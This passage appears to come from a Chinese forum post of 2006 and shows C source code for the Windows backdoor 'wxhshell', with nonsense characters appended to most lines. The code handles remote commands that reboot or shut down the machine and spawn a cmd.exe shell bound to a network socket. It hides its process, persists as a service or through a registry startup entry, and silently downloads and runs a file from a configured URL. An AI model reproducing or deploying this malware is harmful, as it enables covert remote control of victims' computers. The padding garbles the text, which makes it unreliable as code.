    switch(cmd[0]) { djdTh +>28  
  WNGX`V,d  
  // 帮助 WHdMP  
  case '?': { !9;m~T7.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); # )y`Zz{h  
    break; ,8@<sF B'  
  } d`^3fr'.4A  
  // 安装 J:@gmo`M;V  
  case 'i': { )D+BvJ Y"  
    if(Install()) $ZM'dIk?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #n>U7j9`O  
    else .G{cx=;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3K &637  
    break; W{F)YyR{.  
    } z9aR/:W}  
  // 卸载 |]?f6^ |4  
  case 'r': { F1#{(uW  
    if(Uninstall()) q`*.F#/4c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0;bdwIP3  
    else ,a #>e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }dkXRce*  
    break; Y) sB]!hx  
    } )p\`H;7*V4  
  // 显示 wxhshell 所在路径 {A0jkU  
  case 'p': { J!uG/ Us  
    char svExeFile[MAX_PATH]; "ko*-FrQ  
    strcpy(svExeFile,"\n\r"); [bhKL5l  
      strcat(svExeFile,ExeFile); # e? B  
        send(wsh,svExeFile,strlen(svExeFile),0); ^ Ps!  
    break; C+NN.5No  
    } ``l*;}  
  // 重启 ${Un#]g  
  case 'b': { xt^1,V4Ei~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }Va((X w  
    if(Boot(REBOOT)) ZmsYRk~@-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Wpu  
    else { vB7Gx>BQd  
    closesocket(wsh); A6z ,6v6  
    ExitThread(0); `K{}  
    } 1>Sfv|ZP,  
    break; )'+[,z ;s  
    } 2;v:Z^&  
  // 关机 xX<f4H\'  
  case 'd': { "\o#YC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w6vbYPCN  
    if(Boot(SHUTDOWN)) KuJ)alD;1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eFiG:LS7  
    else { X:i?gRy"  
    closesocket(wsh); l U/Xi  
    ExitThread(0); <m-(B"F X  
    } Kv@P Uzu  
    break; k{qxsNM  
    } ,Cr%2Wg-  
  // 获取shell $s7U |F,I  
  case 's': { >Scyc-n  
    CmdShell(wsh); 0AO^d[v  
    closesocket(wsh); /8l-@P. o  
    ExitThread(0); ^Q8yb*MN  
    break; UR'[?  
  } u@_|4Bp,"  
  // 退出 VIAq$iu7  
  case 'x': { EH844k8 p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mjD^iu8?  
    CloseIt(wsh); 2.^{4 1:  
    break; r&LZH.$oh  
    } v'hc-Q9+>  
  // 离开 0D,@^vw bK  
  case 'q': { v2;E Wp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'zUV(K?2]  
    closesocket(wsh); |m's)  
    WSACleanup(); OJe!K:  
    exit(1); Y<T0yl?  
    break; </25J((  
        } :E")Zw&sW3  
  } vkG#G]Qs";  
  } ]+I9{%zB%8  
9lq5\ tL-  
  // 提示信息 .YF1H<gwa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !ZTghX}D  
} PNm@mC_fh  
  } "1a;);S=*)  
|ke0G  
  return; -64l f-<  
} /9_%NR[  
T_*inPf  
// shell模块句柄 yY#h 1  
int CmdShell(SOCKET sock) }c8nn  
{ :?xH)J,imk  
STARTUPINFO si; /h53;$zK  
ZeroMemory(&si,sizeof(si)); "l&SRX?g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `rn/H;r!Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 89M'klZ   
PROCESS_INFORMATION ProcessInfo; Q/|.=:~FO  
char cmdline[]="cmd"; Au2?f~#Fv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Htgo=7!?\3  
  return 0; ta?NO{*  
} `4K|L6  
9 dNB _  
// 自身启动模式 ,b5'<3\  
int StartFromService(void) f"7MYw\  
{ qm=U<'b^  
typedef struct h3`}{ w  
{ #Vum  
  DWORD ExitStatus; utmJ>GWSI  
  DWORD PebBaseAddress; GFFwk4n1  
  DWORD AffinityMask; 3jZGO9ttnS  
  DWORD BasePriority; {~9zuNi  
  ULONG UniqueProcessId; $NR[U+  
  ULONG InheritedFromUniqueProcessId; :)lS9<Y}  
}   PROCESS_BASIC_INFORMATION; ]T)N{"&N/  
HO<|EH~lu  
PROCNTQSIP NtQueryInformationProcess; I(M/ X/  
uX-^ 9t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =d Q[I6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uGZGI;9f4  
|3~m8v2-  
  HANDLE             hProcess;  T7nI/y  
  PROCESS_BASIC_INFORMATION pbi; LzL)qdL  
Pg}QRCB@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (?l ]}p^[  
  if(NULL == hInst ) return 0; X$@`4  
LcGKYl(\K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I0x)d`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4$iS@o|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (xG%H:6,  
"mQp#d/'  
  if (!NtQueryInformationProcess) return 0; a]p9 [Nk  
o-bH3Jkb]&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +c% jOl  
  if(!hProcess) return 0; T+L=GnYl  
L(|K{vHh]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [7}3k?42X  
{dxFd-K3  
  CloseHandle(hProcess); tMw65Xei6b  
9D14/9*(dU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~Eg]Auk7  
if(hProcess==NULL) return 0; },d^y:m  
K~d'*J-  
HMODULE hMod; XYvj3+  
char procName[255]; anSZWQ  
unsigned long cbNeeded; __b4dv  
6 rnFXZ\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Md4Q.8  
?EC\ .{  
  CloseHandle(hProcess); ;~0q23{+;U  
1 3 ]e< '  
if(strstr(procName,"services")) return 1; // 以服务启动 *IOrv)  
|? V7E\S  
  return 0; // 注册表启动 W(]A^C=/  
} LM eI[Ji  
81E EYf  
// 主模块 ,f^fr&6jb  
int StartWxhshell(LPSTR lpCmdLine) v7pu  
{ A8tJ&O rwY  
  SOCKET wsl; e.vt"eRB  
BOOL val=TRUE; Fj`k3~tUw  
  int port=0; n{N0S^h  
  struct sockaddr_in door; E2M<I;:EA  
QqQhQGV  
  if(wscfg.ws_autoins) Install(); \lG)J0  
)(,O~w  
port=atoi(lpCmdLine); 4^r6RS@z  
m]V#fRC  
if(port<=0) port=wscfg.ws_port; \d;)U4__!  
+IS6l*_y>6  
  WSADATA data; )P7ep  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .I>rX#aNt  
oz=V|7,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c@g(_%_|2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =RHtugwy  
  door.sin_family = AF_INET; !:xycLdfUp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oh-EEo4,  
  door.sin_port = htons(port); w)ki<Dudg  
ulzX$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CJk"yW[,|  
closesocket(wsl); Dh4 Lffy  
return 1; WSMpX -^e@  
} `^Ll@Cx"  
&wlD`0v  
  if(listen(wsl,2) == INVALID_SOCKET) { G2N0'R "  
closesocket(wsl); 8 SU0q9X.  
return 1; a+HK fK  
} O#k; O*s'  
  Wxhshell(wsl); |= cc>]  
  WSACleanup(); X'b3CS4  
cO]w*Hti  
return 0; 8KJ`+"<=@  
' ds2\gN  
} .u\$wJ9Ai  
(.=ig X  
// 以NT服务方式启动 7>z {2D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J;~YD$  
{ ]*P9=!x|M  
DWORD   status = 0; gHc1_G]  
  DWORD   specificError = 0xfffffff; ;:Z5Ft m  
2T}>9X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~D@YLW1z(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tf6-DmMH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6am6'_{  
  serviceStatus.dwWin32ExitCode     = 0; JkN*hm?  
  serviceStatus.dwServiceSpecificExitCode = 0; r-YJ$/J  
  serviceStatus.dwCheckPoint       = 0; 7vXP|8j  
  serviceStatus.dwWaitHint       = 0; ll0y@@Iy  
C-A? mIC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8Tg1 >q<  
  if (hServiceStatusHandle==0) return;  K!ILO  
3Qd/X&P  
status = GetLastError(); T O]7cC  
  if (status!=NO_ERROR) }J6:D]Q  
{ $gnrd~v4e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4`"}0:t.  
    serviceStatus.dwCheckPoint       = 0; 9<0yz?b':  
    serviceStatus.dwWaitHint       = 0; 8H-yT1  
    serviceStatus.dwWin32ExitCode     = status; c $r"q :\  
    serviceStatus.dwServiceSpecificExitCode = specificError; E[#VWM I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]&H"EHC<$  
    return; OD7^*j(p`  
  } I'BHNZO5tf  
TrzAgNt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Io*H}$Gf  
  serviceStatus.dwCheckPoint       = 0; ##BbR  
  serviceStatus.dwWaitHint       = 0; XYR q"{Id  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QxG^oxU}  
} |pS]zD  
$)@D(m,ybd  
// 处理NT服务事件,比如:启动、停止 rR":}LA^d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JwxKWVpWv  
{ kJl^,q  
switch(fdwControl) ]VQd *~ -  
{ iS)-25M'  
case SERVICE_CONTROL_STOP: r'yNc&~  
  serviceStatus.dwWin32ExitCode = 0; UUDHknm"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kh# QT_y  
  serviceStatus.dwCheckPoint   = 0; 7w2$?k',-  
  serviceStatus.dwWaitHint     = 0; V-7l+C5  
  { uvJHkAi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tz2=l.1  
  } 7omHorU+  
  return; ]QHp?Ii1  
case SERVICE_CONTROL_PAUSE: 5,p;b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EPn!6W5^  
  break; 5- GS@fY  
case SERVICE_CONTROL_CONTINUE: "`cN k26JZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )EB+(c~E  
  break; vu@.;-2E%  
case SERVICE_CONTROL_INTERROGATE: 'fl.&"/r  
  break; {H(l"KuL  
}; Pb;c:HeI/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7'e sJ)2  
} E,tdn#_|  
2DPv7\fW  
// 标准应用程序主函数 q/zU'7%@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *]HnFP  
{ ms5?^kS2O  
 s&pnB  
// 获取操作系统版本 9s_^?q  
OsIsNt=GetOsVer(); tqpO3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @Q,Q"c2  
\~A qA!)6  
  // 从命令行安装 ^CLQs;zXE  
  if(strpbrk(lpCmdLine,"iI")) Install(); s !?uLSEdb  
L(C`<iE&3  
  // 下载执行文件 ssLswb  
if(wscfg.ws_downexe) { >w<w*pC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @%x2d1FS  
  WinExec(wscfg.ws_filenam,SW_HIDE); nS3Aadm  
} 7^#f)Vp  
pD({"A.x9z  
if(!OsIsNt) { I ?Dp *u*  
// 如果时win9x,隐藏进程并且设置为注册表启动 o$</At  
HideProc(); jr0j0$BF  
StartWxhshell(lpCmdLine); d2Q*1Q@u  
} @k h<b<a4  
else 4 j=K3m  
  if(StartFromService()) JqMF9|{H  
  // 以服务方式启动 6Jq[]l"v  
  StartServiceCtrlDispatcher(DispatchTable); ,k~' S~w.  
else %gO/mj3*  
  // 普通方式启动 5\z<xpJ  
  StartWxhshell(lpCmdLine); 8>[g/%W  
YX-~?Pl  
return 0; +={K -g7U  
}
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只看该作者 1 发表于: 2006-10-10
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